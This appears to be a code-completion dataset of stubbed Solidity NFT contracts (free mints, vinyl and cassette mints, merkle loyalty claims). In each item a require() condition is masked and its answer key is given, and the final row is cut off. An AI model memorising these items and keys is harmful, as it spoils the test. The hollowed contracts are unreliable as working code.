comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Free Mint Already Claimed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "ERC721A.sol";
import "Ownable.sol";
import "MerkleProof.sol";
contract COOL_COLORED_PLANETS_NFT is ERC721A, Ownable {
using Strings for uint256;
string public baseURI;
bool public paused = false;
string public notRevealedUri;
uint256 MAX_SUPPLY = 3500;
bool public revealed = true;
uint256 public whitelistCost;
uint256 public publicSaleCost = 0.05 ether;
uint256 public publicSaleLimit = 10;
uint256 public whitelistLimit = 10;
bytes32 public whitelistSigner;
mapping(address => uint256) public whitelist_claimed;
mapping(address => uint256) public freemint_claimed;
mapping(address => uint256) public publicmint_claimed;
bool public whitelist_status = false;
bool public public_mint_status = true;
bool public free_mint_status = false;
constructor(string memory _initBaseURI, string memory _initNotRevealedUri) ERC721A("COOL COLORED PLANETS NFT", "CCP") {
}
function mint(uint256 quantity) public payable {
}
// whitelist minting
function whitelistMint(bytes32[] calldata _proof, uint256 quantity) payable public{
}
// Free Mint
function freemint() payable public{
require(free_mint_status, "Free Mint Not Allowed");
require(totalSupply() + 1 <= MAX_SUPPLY, "Not enough tokens left");
require(<FILL_ME>)
_safeMint(msg.sender, 1);
freemint_claimed[msg.sender] = freemint_claimed[msg.sender] + 1;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
//only owner
function toggleReveal() public onlyOwner {
}
function setStatus_freemint() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setStatus_publicmint() public onlyOwner {
}
function setStatus_whitelist() public onlyOwner {
}
function setWhitelistSigner(bytes32 newWhitelistSigner) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setPublicSaleLimit(uint256 _publicSaleLimit)public onlyOwner{
}
function setWhitelistLimit(uint256 _whitelistLimit) public onlyOwner{
}
function setWhitelistCost(uint256 _whitelistCost) public onlyOwner{
}
function setPublicSaleCost(uint256 _publicSaleCost) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
}
/*
_ _ ____ __ __ _ _ _
/\ | | | / __ \ / _|/ _(_) (_) | |
/ \ _ __ _ __ ___| | | _| | | | |_| |_ _ ___ _ __ _| |
/ /\ \ | '_ \| '_ \/ __| | |/ / | | | _| _| |/ __| |/ _` | |
/ ____ \| |_) | |_) \__ \ | <| |__| | | | | | | (__| | (_| | |
/_/ \_\ .__/| .__/|___/_|_|\_\\____/|_| |_| |_|\___|_|\__,_|_|
| | | |
|_| |_|
https://www.fiverr.com/appslkofficial
*/
|
freemint_claimed[msg.sender]<1,"Free Mint Already Claimed"
| 139,046 |
freemint_claimed[msg.sender]<1
|
"Token already minted"
|
// Main Contract
contract LostboyGenesisMusic is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant collection_Supply = 70;
uint256 public constant VinylPRICE_PerLOST = 30000000000000000000000 ; //30,000 Vinyl LOST token
uint256 public constant CassettePRICE_PerLOST = 15000000000000000000000 ; //15000 Vinyl LOST token
bool private _saleIsActive;
address public txFeeToken;
string private _metaBaseUri = "https://lostboy.mypinata.cloud/ipfs/QmT7mKRDWa3kzaWRiSo8GGHtL2FrbCTiMbhTn3TGwFwmLF/";
uint [] mintednfts;
struct Cassette {
uint256 tokenid;
address cassetteownerAddress;
}
struct Vinyl {
uint256 tokenid;
address vinylownerAddress;
}
Cassette[] private allCassette;
Vinyl[] private allVinyl;
constructor(address _txFeeToken) ERC721("LOSTBOY GENESIS Music", "LOSTBOYGENESISMUSIC") {
}
//Send 1 for vinyl and 2 for cassette in TokenType
function mint(uint TokenId,uint numberoferc20Tokens , uint TokenType) public {
require(<FILL_ME>)
require(saleIsActive(), "Sale is not active");
if(TokenType==1){
require(numberoferc20Tokens >= VinylPRICE_PerLOST, "Insufficient LOST tokens");
}else if(TokenType==2){
require(numberoferc20Tokens >= CassettePRICE_PerLOST, "Insufficient LOST tokens");
}
else{
}
require(totalSupply() < collection_Supply, "collection sold out");
require(totalSupply().add(1) < collection_Supply, "Insufficient supply");
//add vinyl record
if(TokenType == 1){
require(allVinyl.length <=20 ,"Vinyl sold out.");
require(_checkVinyl(msg.sender) , "Cannot mint more than 1 vinyl");
require(TokenId>50 && TokenId<=70,"Token Id must be between 50-70");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Vinyl memory newVinyl = Vinyl({
tokenid: TokenId,
vinylownerAddress: msg.sender
});
allVinyl.push(newVinyl);
}
//add cassette record
else if(TokenType == 2){
require(allCassette.length <=50 ,"Casettes sold out.");
require(_checkCassette(msg.sender) , "Cannot mint more than 1 cassette");
require(TokenId >=1 && TokenId <=50,"Token Id must be between 1-50");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Cassette memory newCassette = Cassette({
tokenid : TokenId,
cassetteownerAddress : msg.sender
});
allCassette.push(newCassette);
}
else{
}
}
function _checkVinyl(address owner) internal view returns (bool){
}
function _checkCassette(address owner) internal view returns (bool){
}
function setSaleIsActive(bool active) external onlyOwner {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function getMintedTokens() public view returns (uint[] memory) {
}
function getAllVinyl() public view returns (Vinyl[] memory) {
}
function getAllCassets() public view returns (Cassette[] memory) {
}
/* View functions */
function saleIsActive() public view returns(bool) {
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
}
/* Internal functions */
function _mintTokens(uint256 tokenId , address _to) internal {
}
function approve(uint256 _tokenId, address _from) internal virtual {
}
function burnToken(uint numoftokens) public{
}
function _baseURI() override internal view returns(string memory) {
}
}
|
!_exists(TokenId),"Token already minted"
| 139,149 |
!_exists(TokenId)
|
"Sale is not active"
|
// Main Contract
contract LostboyGenesisMusic is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant collection_Supply = 70;
uint256 public constant VinylPRICE_PerLOST = 30000000000000000000000 ; //30,000 Vinyl LOST token
uint256 public constant CassettePRICE_PerLOST = 15000000000000000000000 ; //15000 Vinyl LOST token
bool private _saleIsActive;
address public txFeeToken;
string private _metaBaseUri = "https://lostboy.mypinata.cloud/ipfs/QmT7mKRDWa3kzaWRiSo8GGHtL2FrbCTiMbhTn3TGwFwmLF/";
uint [] mintednfts;
struct Cassette {
uint256 tokenid;
address cassetteownerAddress;
}
struct Vinyl {
uint256 tokenid;
address vinylownerAddress;
}
Cassette[] private allCassette;
Vinyl[] private allVinyl;
constructor(address _txFeeToken) ERC721("LOSTBOY GENESIS Music", "LOSTBOYGENESISMUSIC") {
}
//Send 1 for vinyl and 2 for cassette in TokenType
function mint(uint TokenId,uint numberoferc20Tokens , uint TokenType) public {
require(!_exists(TokenId) , "Token already minted");
require(<FILL_ME>)
if(TokenType==1){
require(numberoferc20Tokens >= VinylPRICE_PerLOST, "Insufficient LOST tokens");
}else if(TokenType==2){
require(numberoferc20Tokens >= CassettePRICE_PerLOST, "Insufficient LOST tokens");
}
else{
}
require(totalSupply() < collection_Supply, "collection sold out");
require(totalSupply().add(1) < collection_Supply, "Insufficient supply");
//add vinyl record
if(TokenType == 1){
require(allVinyl.length <=20 ,"Vinyl sold out.");
require(_checkVinyl(msg.sender) , "Cannot mint more than 1 vinyl");
require(TokenId>50 && TokenId<=70,"Token Id must be between 50-70");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Vinyl memory newVinyl = Vinyl({
tokenid: TokenId,
vinylownerAddress: msg.sender
});
allVinyl.push(newVinyl);
}
//add cassette record
else if(TokenType == 2){
require(allCassette.length <=50 ,"Casettes sold out.");
require(_checkCassette(msg.sender) , "Cannot mint more than 1 cassette");
require(TokenId >=1 && TokenId <=50,"Token Id must be between 1-50");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Cassette memory newCassette = Cassette({
tokenid : TokenId,
cassetteownerAddress : msg.sender
});
allCassette.push(newCassette);
}
else{
}
}
function _checkVinyl(address owner) internal view returns (bool){
}
function _checkCassette(address owner) internal view returns (bool){
}
function setSaleIsActive(bool active) external onlyOwner {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function getMintedTokens() public view returns (uint[] memory) {
}
function getAllVinyl() public view returns (Vinyl[] memory) {
}
function getAllCassets() public view returns (Cassette[] memory) {
}
/* View functions */
function saleIsActive() public view returns(bool) {
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
}
/* Internal functions */
function _mintTokens(uint256 tokenId , address _to) internal {
}
function approve(uint256 _tokenId, address _from) internal virtual {
}
function burnToken(uint numoftokens) public{
}
function _baseURI() override internal view returns(string memory) {
}
}
|
saleIsActive(),"Sale is not active"
| 139,149 |
saleIsActive()
|
"collection sold out"
|
// Main Contract
contract LostboyGenesisMusic is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant collection_Supply = 70;
uint256 public constant VinylPRICE_PerLOST = 30000000000000000000000 ; //30,000 Vinyl LOST token
uint256 public constant CassettePRICE_PerLOST = 15000000000000000000000 ; //15000 Vinyl LOST token
bool private _saleIsActive;
address public txFeeToken;
string private _metaBaseUri = "https://lostboy.mypinata.cloud/ipfs/QmT7mKRDWa3kzaWRiSo8GGHtL2FrbCTiMbhTn3TGwFwmLF/";
uint [] mintednfts;
struct Cassette {
uint256 tokenid;
address cassetteownerAddress;
}
struct Vinyl {
uint256 tokenid;
address vinylownerAddress;
}
Cassette[] private allCassette;
Vinyl[] private allVinyl;
constructor(address _txFeeToken) ERC721("LOSTBOY GENESIS Music", "LOSTBOYGENESISMUSIC") {
}
//Send 1 for vinyl and 2 for cassette in TokenType
function mint(uint TokenId,uint numberoferc20Tokens , uint TokenType) public {
require(!_exists(TokenId) , "Token already minted");
require(saleIsActive(), "Sale is not active");
if(TokenType==1){
require(numberoferc20Tokens >= VinylPRICE_PerLOST, "Insufficient LOST tokens");
}else if(TokenType==2){
require(numberoferc20Tokens >= CassettePRICE_PerLOST, "Insufficient LOST tokens");
}
else{
}
require(<FILL_ME>)
require(totalSupply().add(1) < collection_Supply, "Insufficient supply");
//add vinyl record
if(TokenType == 1){
require(allVinyl.length <=20 ,"Vinyl sold out.");
require(_checkVinyl(msg.sender) , "Cannot mint more than 1 vinyl");
require(TokenId>50 && TokenId<=70,"Token Id must be between 50-70");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Vinyl memory newVinyl = Vinyl({
tokenid: TokenId,
vinylownerAddress: msg.sender
});
allVinyl.push(newVinyl);
}
//add cassette record
else if(TokenType == 2){
require(allCassette.length <=50 ,"Casettes sold out.");
require(_checkCassette(msg.sender) , "Cannot mint more than 1 cassette");
require(TokenId >=1 && TokenId <=50,"Token Id must be between 1-50");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Cassette memory newCassette = Cassette({
tokenid : TokenId,
cassetteownerAddress : msg.sender
});
allCassette.push(newCassette);
}
else{
}
}
function _checkVinyl(address owner) internal view returns (bool){
}
function _checkCassette(address owner) internal view returns (bool){
}
function setSaleIsActive(bool active) external onlyOwner {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function getMintedTokens() public view returns (uint[] memory) {
}
function getAllVinyl() public view returns (Vinyl[] memory) {
}
function getAllCassets() public view returns (Cassette[] memory) {
}
/* View functions */
function saleIsActive() public view returns(bool) {
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
}
/* Internal functions */
function _mintTokens(uint256 tokenId , address _to) internal {
}
function approve(uint256 _tokenId, address _from) internal virtual {
}
function burnToken(uint numoftokens) public{
}
function _baseURI() override internal view returns(string memory) {
}
}
|
totalSupply()<collection_Supply,"collection sold out"
| 139,149 |
totalSupply()<collection_Supply
|
"Insufficient supply"
|
// Main Contract
contract LostboyGenesisMusic is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant collection_Supply = 70;
uint256 public constant VinylPRICE_PerLOST = 30000000000000000000000 ; //30,000 Vinyl LOST token
uint256 public constant CassettePRICE_PerLOST = 15000000000000000000000 ; //15000 Vinyl LOST token
bool private _saleIsActive;
address public txFeeToken;
string private _metaBaseUri = "https://lostboy.mypinata.cloud/ipfs/QmT7mKRDWa3kzaWRiSo8GGHtL2FrbCTiMbhTn3TGwFwmLF/";
uint [] mintednfts;
struct Cassette {
uint256 tokenid;
address cassetteownerAddress;
}
struct Vinyl {
uint256 tokenid;
address vinylownerAddress;
}
Cassette[] private allCassette;
Vinyl[] private allVinyl;
constructor(address _txFeeToken) ERC721("LOSTBOY GENESIS Music", "LOSTBOYGENESISMUSIC") {
}
//Send 1 for vinyl and 2 for cassette in TokenType
function mint(uint TokenId,uint numberoferc20Tokens , uint TokenType) public {
require(!_exists(TokenId) , "Token already minted");
require(saleIsActive(), "Sale is not active");
if(TokenType==1){
require(numberoferc20Tokens >= VinylPRICE_PerLOST, "Insufficient LOST tokens");
}else if(TokenType==2){
require(numberoferc20Tokens >= CassettePRICE_PerLOST, "Insufficient LOST tokens");
}
else{
}
require(totalSupply() < collection_Supply, "collection sold out");
require(<FILL_ME>)
//add vinyl record
if(TokenType == 1){
require(allVinyl.length <=20 ,"Vinyl sold out.");
require(_checkVinyl(msg.sender) , "Cannot mint more than 1 vinyl");
require(TokenId>50 && TokenId<=70,"Token Id must be between 50-70");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Vinyl memory newVinyl = Vinyl({
tokenid: TokenId,
vinylownerAddress: msg.sender
});
allVinyl.push(newVinyl);
}
//add cassette record
else if(TokenType == 2){
require(allCassette.length <=50 ,"Casettes sold out.");
require(_checkCassette(msg.sender) , "Cannot mint more than 1 cassette");
require(TokenId >=1 && TokenId <=50,"Token Id must be between 1-50");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Cassette memory newCassette = Cassette({
tokenid : TokenId,
cassetteownerAddress : msg.sender
});
allCassette.push(newCassette);
}
else{
}
}
function _checkVinyl(address owner) internal view returns (bool){
}
function _checkCassette(address owner) internal view returns (bool){
}
function setSaleIsActive(bool active) external onlyOwner {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function getMintedTokens() public view returns (uint[] memory) {
}
function getAllVinyl() public view returns (Vinyl[] memory) {
}
function getAllCassets() public view returns (Cassette[] memory) {
}
/* View functions */
function saleIsActive() public view returns(bool) {
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
}
/* Internal functions */
function _mintTokens(uint256 tokenId , address _to) internal {
}
function approve(uint256 _tokenId, address _from) internal virtual {
}
function burnToken(uint numoftokens) public{
}
function _baseURI() override internal view returns(string memory) {
}
}
|
totalSupply().add(1)<collection_Supply,"Insufficient supply"
| 139,149 |
totalSupply().add(1)<collection_Supply
|
"Cannot mint more than 1 vinyl"
|
// Main Contract
contract LostboyGenesisMusic is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant collection_Supply = 70;
uint256 public constant VinylPRICE_PerLOST = 30000000000000000000000 ; //30,000 Vinyl LOST token
uint256 public constant CassettePRICE_PerLOST = 15000000000000000000000 ; //15000 Vinyl LOST token
bool private _saleIsActive;
address public txFeeToken;
string private _metaBaseUri = "https://lostboy.mypinata.cloud/ipfs/QmT7mKRDWa3kzaWRiSo8GGHtL2FrbCTiMbhTn3TGwFwmLF/";
uint [] mintednfts;
struct Cassette {
uint256 tokenid;
address cassetteownerAddress;
}
struct Vinyl {
uint256 tokenid;
address vinylownerAddress;
}
Cassette[] private allCassette;
Vinyl[] private allVinyl;
constructor(address _txFeeToken) ERC721("LOSTBOY GENESIS Music", "LOSTBOYGENESISMUSIC") {
}
//Send 1 for vinyl and 2 for cassette in TokenType
function mint(uint TokenId,uint numberoferc20Tokens , uint TokenType) public {
require(!_exists(TokenId) , "Token already minted");
require(saleIsActive(), "Sale is not active");
if(TokenType==1){
require(numberoferc20Tokens >= VinylPRICE_PerLOST, "Insufficient LOST tokens");
}else if(TokenType==2){
require(numberoferc20Tokens >= CassettePRICE_PerLOST, "Insufficient LOST tokens");
}
else{
}
require(totalSupply() < collection_Supply, "collection sold out");
require(totalSupply().add(1) < collection_Supply, "Insufficient supply");
//add vinyl record
if(TokenType == 1){
require(allVinyl.length <=20 ,"Vinyl sold out.");
require(<FILL_ME>)
require(TokenId>50 && TokenId<=70,"Token Id must be between 50-70");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Vinyl memory newVinyl = Vinyl({
tokenid: TokenId,
vinylownerAddress: msg.sender
});
allVinyl.push(newVinyl);
}
//add cassette record
else if(TokenType == 2){
require(allCassette.length <=50 ,"Casettes sold out.");
require(_checkCassette(msg.sender) , "Cannot mint more than 1 cassette");
require(TokenId >=1 && TokenId <=50,"Token Id must be between 1-50");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Cassette memory newCassette = Cassette({
tokenid : TokenId,
cassetteownerAddress : msg.sender
});
allCassette.push(newCassette);
}
else{
}
}
function _checkVinyl(address owner) internal view returns (bool){
}
function _checkCassette(address owner) internal view returns (bool){
}
function setSaleIsActive(bool active) external onlyOwner {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function getMintedTokens() public view returns (uint[] memory) {
}
function getAllVinyl() public view returns (Vinyl[] memory) {
}
function getAllCassets() public view returns (Cassette[] memory) {
}
/* View functions */
function saleIsActive() public view returns(bool) {
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
}
/* Internal functions */
function _mintTokens(uint256 tokenId , address _to) internal {
}
function approve(uint256 _tokenId, address _from) internal virtual {
}
function burnToken(uint numoftokens) public{
}
function _baseURI() override internal view returns(string memory) {
}
}
|
_checkVinyl(msg.sender),"Cannot mint more than 1 vinyl"
| 139,149 |
_checkVinyl(msg.sender)
|
"Cannot mint more than 1 cassette"
|
// Main Contract
contract LostboyGenesisMusic is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant collection_Supply = 70;
uint256 public constant VinylPRICE_PerLOST = 30000000000000000000000 ; //30,000 Vinyl LOST token
uint256 public constant CassettePRICE_PerLOST = 15000000000000000000000 ; //15000 Vinyl LOST token
bool private _saleIsActive;
address public txFeeToken;
string private _metaBaseUri = "https://lostboy.mypinata.cloud/ipfs/QmT7mKRDWa3kzaWRiSo8GGHtL2FrbCTiMbhTn3TGwFwmLF/";
uint [] mintednfts;
struct Cassette {
uint256 tokenid;
address cassetteownerAddress;
}
struct Vinyl {
uint256 tokenid;
address vinylownerAddress;
}
Cassette[] private allCassette;
Vinyl[] private allVinyl;
constructor(address _txFeeToken) ERC721("LOSTBOY GENESIS Music", "LOSTBOYGENESISMUSIC") {
}
//Send 1 for vinyl and 2 for cassette in TokenType
function mint(uint TokenId,uint numberoferc20Tokens , uint TokenType) public {
require(!_exists(TokenId) , "Token already minted");
require(saleIsActive(), "Sale is not active");
if(TokenType==1){
require(numberoferc20Tokens >= VinylPRICE_PerLOST, "Insufficient LOST tokens");
}else if(TokenType==2){
require(numberoferc20Tokens >= CassettePRICE_PerLOST, "Insufficient LOST tokens");
}
else{
}
require(totalSupply() < collection_Supply, "collection sold out");
require(totalSupply().add(1) < collection_Supply, "Insufficient supply");
//add vinyl record
if(TokenType == 1){
require(allVinyl.length <=20 ,"Vinyl sold out.");
require(_checkVinyl(msg.sender) , "Cannot mint more than 1 vinyl");
require(TokenId>50 && TokenId<=70,"Token Id must be between 50-70");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Vinyl memory newVinyl = Vinyl({
tokenid: TokenId,
vinylownerAddress: msg.sender
});
allVinyl.push(newVinyl);
}
//add cassette record
else if(TokenType == 2){
require(allCassette.length <=50 ,"Casettes sold out.");
require(<FILL_ME>)
require(TokenId >=1 && TokenId <=50,"Token Id must be between 1-50");
burnToken(numberoferc20Tokens);
_mintTokens(TokenId,msg.sender);
mintednfts.push(TokenId);
Cassette memory newCassette = Cassette({
tokenid : TokenId,
cassetteownerAddress : msg.sender
});
allCassette.push(newCassette);
}
else{
}
}
function _checkVinyl(address owner) internal view returns (bool){
}
function _checkCassette(address owner) internal view returns (bool){
}
function setSaleIsActive(bool active) external onlyOwner {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function getMintedTokens() public view returns (uint[] memory) {
}
function getAllVinyl() public view returns (Vinyl[] memory) {
}
function getAllCassets() public view returns (Cassette[] memory) {
}
/* View functions */
function saleIsActive() public view returns(bool) {
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
}
/* Internal functions */
function _mintTokens(uint256 tokenId , address _to) internal {
}
function approve(uint256 _tokenId, address _from) internal virtual {
}
function burnToken(uint numoftokens) public{
}
function _baseURI() override internal view returns(string memory) {
}
}
|
_checkCassette(msg.sender),"Cannot mint more than 1 cassette"
| 139,149 |
_checkCassette(msg.sender)
|
"Already claimed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "./utils/Base64.sol";
import "./utils/MerkleProof.sol";
import "./CollectionDescriptor.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract Collection is ERC721 {
address public owner = 0xaF69610ea9ddc95883f97a6a3171d52165b69B03; // for opensea integration. doesn't do anything else.
address payable public recipient; // in this instance, it will be a 0xSplit on mainnet
CollectionDescriptor public descriptor;
// minting time
uint256 public startDate;
uint256 public endDate;
mapping(uint256 => bool) randomMints;
// for loyal mints
mapping (address => bool) public claimed;
bytes32 public loyaltyRoot;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_, address payable recipient_, uint256 startDate_, uint256 endDate_, bytes32 root_) ERC721(name_, symbol_) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function generateBase64Image(uint256 tokenId) public view returns (string memory) {
}
/*
NOTE: Calling this when the token doesn't exist will result in it being defined
as a "chosen seed" because randomMint will be 0 (or false) if it's not initialized.
*/
function generateImage(uint256 tokenId) public view returns (string memory) {
}
function generateTraits(uint256 tokenId) public view returns (string memory) {
}
/*
VM Viewers:
These drawing functions are used inside the browser vm to display the capsule without having to call a live network.
*/
// Generally used inside the browser VM to preview a capsule for seed mints
function generateImageFromSeedAndAddress(uint256 _seed, address _owner) public view returns (string memory) {
}
// a forced random mint viewer, used when viewing in the browser vm after a successful random mint
function generateRandomMintImageFromTokenID(uint256 tokenId) public view returns (string memory) {
}
/* PUBLIC MINT OPTIONS */
function mintWithSeed(uint256 _seed) public payable {
}
function mint() public payable {
}
function loyalMint(bytes32[] calldata proof) public {
}
// anyone can mint for someone in the merkle tree
// you just need the correct proof
function loyalMintLeaf(bytes32[] calldata proof, address leaf) public {
// if one of addresses in the overlap set
require(<FILL_ME>)
claimed[leaf] = true;
bytes32 hashedLeaf = keccak256(abi.encodePacked(leaf));
require(MerkleProof.verify(proof, loyaltyRoot, hashedLeaf), "Invalid Proof");
_mint(leaf, block.timestamp, true); // mint a random mint for loyal collector
}
// FOR TESTING: UNCOMMENT TO RUN TESTS
// For testing, we need to able to generate a specific random capsule.
/*function mintWithSeedForcedRandom(uint256 _seed) public payable {
require(msg.value >= 0.074 ether, "MORE ETH NEEDED"); // $100
_mint(msg.sender, _seed, true);
}*/
/* INTERNAL MINT FUNCTIONS */
function _mint(address _owner, uint256 _seed, bool _randomMint) internal {
}
function _createNFT(address _owner, uint256 _seed, bool _randomMint) internal {
}
// WITHDRAWING ETH
function withdrawETH() public {
}
}
|
claimed[leaf]==false,"Already claimed"
| 139,175 |
claimed[leaf]==false
|
"Invalid Proof"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "./utils/Base64.sol";
import "./utils/MerkleProof.sol";
import "./CollectionDescriptor.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract Collection is ERC721 {
address public owner = 0xaF69610ea9ddc95883f97a6a3171d52165b69B03; // for opensea integration. doesn't do anything else.
address payable public recipient; // in this instance, it will be a 0xSplit on mainnet
CollectionDescriptor public descriptor;
// minting time
uint256 public startDate;
uint256 public endDate;
mapping(uint256 => bool) randomMints;
// for loyal mints
mapping (address => bool) public claimed;
bytes32 public loyaltyRoot;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_, address payable recipient_, uint256 startDate_, uint256 endDate_, bytes32 root_) ERC721(name_, symbol_) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function generateBase64Image(uint256 tokenId) public view returns (string memory) {
}
/*
NOTE: Calling this when the token doesn't exist will result in it being defined
as a "chosen seed" because randomMint will be 0 (or false) if it's not initialized.
*/
function generateImage(uint256 tokenId) public view returns (string memory) {
}
function generateTraits(uint256 tokenId) public view returns (string memory) {
}
/*
VM Viewers:
These drawing functions are used inside the browser vm to display the capsule without having to call a live network.
*/
// Generally used inside the browser VM to preview a capsule for seed mints
function generateImageFromSeedAndAddress(uint256 _seed, address _owner) public view returns (string memory) {
}
// a forced random mint viewer, used when viewing in the browser vm after a successful random mint
function generateRandomMintImageFromTokenID(uint256 tokenId) public view returns (string memory) {
}
/* PUBLIC MINT OPTIONS */
function mintWithSeed(uint256 _seed) public payable {
}
function mint() public payable {
}
function loyalMint(bytes32[] calldata proof) public {
}
// anyone can mint for someone in the merkle tree
// you just need the correct proof
function loyalMintLeaf(bytes32[] calldata proof, address leaf) public {
// if one of addresses in the overlap set
require(claimed[leaf] == false, "Already claimed");
claimed[leaf] = true;
bytes32 hashedLeaf = keccak256(abi.encodePacked(leaf));
require(<FILL_ME>)
_mint(leaf, block.timestamp, true); // mint a random mint for loyal collector
}
// FOR TESTING: UNCOMMENT TO RUN TESTS
// For testing, we need to able to generate a specific random capsule.
/*function mintWithSeedForcedRandom(uint256 _seed) public payable {
require(msg.value >= 0.074 ether, "MORE ETH NEEDED"); // $100
_mint(msg.sender, _seed, true);
}*/
/* INTERNAL MINT FUNCTIONS */
function _mint(address _owner, uint256 _seed, bool _randomMint) internal {
}
function _createNFT(address _owner, uint256 _seed, bool _randomMint) internal {
}
// WITHDRAWING ETH
function withdrawETH() public {
}
}
|
MerkleProof.verify(proof,loyaltyRoot,hashedLeaf),"Invalid Proof"
| 139,175 |
MerkleProof.verify(proof,loyaltyRoot,hashedLeaf)
|
"Token sold out."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// Powered by Eye Labs, Inc.
contract EyeMapKingsRevelation is Ownable, ReentrancyGuard {
address public eyeverseContract;
constructor(address _eyeverseContract) {
}
uint256 public maxSupply = 20;
uint256 public currentSupply = 0;
uint256 public price = 0.5 ether;
struct Member {
address from;
uint256 eyeverseId;
string username;
}
Member[] public members;
mapping(uint256 => bool) public tokenClaimed;
bool public paused = false;
// MODIFIERS
modifier notPaused() {
}
// HOLD A COUNCIL WITH THE EYE KING
function claimToken(uint256 eyeverseId, string memory _user) public payable notPaused nonReentrant {
require(<FILL_ME>)
IERC721 token = IERC721(eyeverseContract);
require(msg.sender == token.ownerOf(eyeverseId), "Caller is not owner of token");
require(tokenClaimed[eyeverseId] == false, "Token already requested");
require(msg.value >= price, "Insufficient funds");
tokenClaimed[eyeverseId] = true;
currentSupply += 1;
members.push(Member(msg.sender, eyeverseId, _user));
}
// CRUD
function setPaused(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setPrice(uint256 _price) public onlyOwner {
}
// VIEW
function getMember(uint256 memberId) public view returns (address, uint256) {
}
function getMembersCount() public view returns (uint256) {
}
// WITHDRAW
function withdraw() public onlyOwner nonReentrant {
}
}
|
currentSupply+1<=maxSupply,"Token sold out."
| 139,215 |
currentSupply+1<=maxSupply
|
"Token already requested"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
